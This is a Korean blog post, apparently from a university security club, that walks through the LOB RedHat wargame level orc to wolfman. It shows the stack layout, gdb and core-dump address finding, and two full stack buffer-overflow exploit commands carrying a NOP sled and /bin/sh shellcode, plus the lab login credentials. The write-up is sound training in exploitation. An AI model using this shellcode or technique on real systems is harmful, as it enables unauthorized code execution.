Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 자료구조 복습
- 머신러닝
- Python
- The Loard of BOF
- CSS
- Sookmyung Information Security Study
- 숙명여자대학교 정보보안 동아리
- 숙명여자대학교 정보보안동아리
- BOJ
- 드림핵
- PHP 웹페이지 만들기
- Javascript
- hackctf
- hackerrank
- 생활코딩
- 파이썬
- XSS Game
- HTML
- 풀이
- 백준
- WarGame
- c++
- 웹페이지 만들기
- BOJ Python
- SWEA
- lob
- C언어
- 기계학습
- siss
- c
Archives
- Today
- Total
혜랑's STORY
[LOB RedHat] Lv 5. orc -> wolfman 본문
문제를 풀기 위해 xshell로 로그인 해 주었다.
ID : orc / PW : cantata |
역시 가장 먼저 존재하는 파일들을 알아보기 위해 ls -l 명령어를 실행하였다.
wolfman.c 파일의 내용을 확인해 보자.
Lv.4에서 등장한 egghunter에 buffer hunter가 추가된 것을 볼 수 있다. 여기서 buffer hunter는 코드상 버퍼를 초기화해준다. 따라서 버퍼 너머의 주소에 Lv.4의 풀이와 마찬가지로 쉘 코드를 넣고 주소를 연결시켜주면 될 것 같다.
gdb로 살펴본 스택 상황은 아래와 같다고 생각해 볼 수 있다.
buffer | SFP | RET(return) |
40 | 4 | 4 |
따라서 RET의 마지막 주소값엔 "\xbf"가 있으면 된다. 버퍼의 시작 주소를 알아내기 위해 strcpy 함수의 인자로 buffer가 전달되는 부분에 bp를 걸고 실행해서 분석을 진행하였다.
실행 결과는 다음과 같다.
버퍼 너머의 주소인 \x90(nop)가 있는 아무곳이나 골라 공격 코드를 구성할 수 있다.
./cpwolfman `python -c 'print "A"*40 + "BBBB" + "\x7c\xfa\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` |
정상적으로 쉘이 실행된다. 원본 파일에 공격을 시도해 보자.
뭐가 문제인지 쉘이 실행되지 않고 Illegal instruction 오류(?)가 났다...
다시 주소를 찾아보기 위해 주소에 쓰레기 값을 넣고 실행시켜 보았다.
Segmentation fault가 발생하였고 core 파일이 생성되었다. core 파일을 분석해 보자.
다시 0x90909090의 주소 중 아무거나 골라서 공격 코드를 구성해 보자.
./wolfman `python -c 'print "A"*40 + "BBBB" + "\x30\xfc\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` |
성공이다!
'2021 SISS 21기 활동 > 겨울방학 System' 카테고리의 다른 글
[LOB Redhat] Lv.6 wolfman -> darkelf (0) | 2021.02.10 |
---|---|
[Lazenca] Protection Tech : NX bit (0) | 2021.02.07 |
[LOB RedHat] Lv 4. goblin -> orc (0) | 2021.02.07 |
[LOB RedHat] Lv 3. cobolt-> goblin (0) | 2021.01.30 |
[LOB RedHat] Lv 2. gremlin -> cobolt (0) | 2021.01.30 |